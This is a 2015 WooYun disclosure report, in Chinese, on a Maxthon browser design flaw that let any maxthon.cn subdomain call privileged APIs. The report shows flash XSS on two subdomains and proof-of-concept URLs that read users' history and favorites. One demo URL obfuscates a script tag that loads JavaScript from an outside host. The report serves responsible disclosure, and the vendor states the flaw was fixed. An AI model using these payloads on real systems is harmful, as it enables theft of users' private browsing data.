漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0113401
漏洞标题：傲游浏览器设计缺陷可导致读取用户收藏/历史记录等敏感信息
相关厂商：傲游
漏洞作者： 梧桐雨
提交时间：2015-05-11 14:03
修复时间：2015-08-09 15:48
公开时间：2015-08-09 15:48
漏洞类型：远程代码执行
危害等级：高
自评Rank：10
漏洞状态：厂商已经修复
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-11： 细节已通知厂商并且等待厂商处理中
2015-05-11： 厂商已经确认，细节仅向厂商公开
2015-07-05： 细节向核心白帽子及相关领域专家公开
2015-07-15： 细节向普通白帽子公开
2015-07-25： 细节向实习白帽子公开
2015-08-09： 厂商已经修复漏洞并主动公开，细节向公众公开
简要描述：
设计缺陷导致的一系列问题
详细说明：
傲游浏览器设计之初考虑到用户体验，允许*.maxthon.cn域调用一些特权api，
譬如修改首页：
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.startpage", "http://wooyun.org");
任意一个*.maxthon.cn 都可以调用上面的api。
除此之外还能通过external.mxCall 安装插件。
但是仅仅如此吗？事实上，我发现除了i.maxthon.cn 能读取历史记录，任意一个*.maxthon.cn都能读取。只要找到对应的xss，就能获取该信息。
当然此处绝对不仅仅是历史记录，还有收藏。这里我给出两个poc的demo，希望傲游浏览器在未来的版本考虑API权限的时候做一些考量，避免任意一个*.maxthon.cn的xss就能读取用户的收藏+历史记录等敏感信息。
漏洞证明：
xss两处，均为flash xss，因为该原因，也不会被浏览器拦截：
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};//
http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};//
读取历史记录poc：
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(JSON.stringify(maxthon.browser.history.HistoryManager.getLastOpenList()));}};//
读取用户收藏poc：
for(var i=0;i<maxthon.browser.favorites.FavManager.getMostVisitNodes().length;i++){
console.log(maxthon.browser.favorites.FavManager.getMostVisitNodes()[i].url_)
}
具体演示url链接：
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,109,97,120,116,104,111,110,46,106,115);document.body.appendChild(window.s)')}};//
效果如下：
修复方案：
修复此处xss。可以采用 http://bbs.open.qq.com/static/image/common/swfupload.swf 此处的swf替换为你们的swf，即可修补xss。
调整策略，避免任意一个子站xss影响到用户收藏夹以及历史记录等敏感信息。
版权声明：转载请注明来源 梧桐雨@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-05-11 15:46
厂商回复：
多谢报告.
最新状态：
2015-05-12：XSS 已修复
2015-05-12：XSS 已修复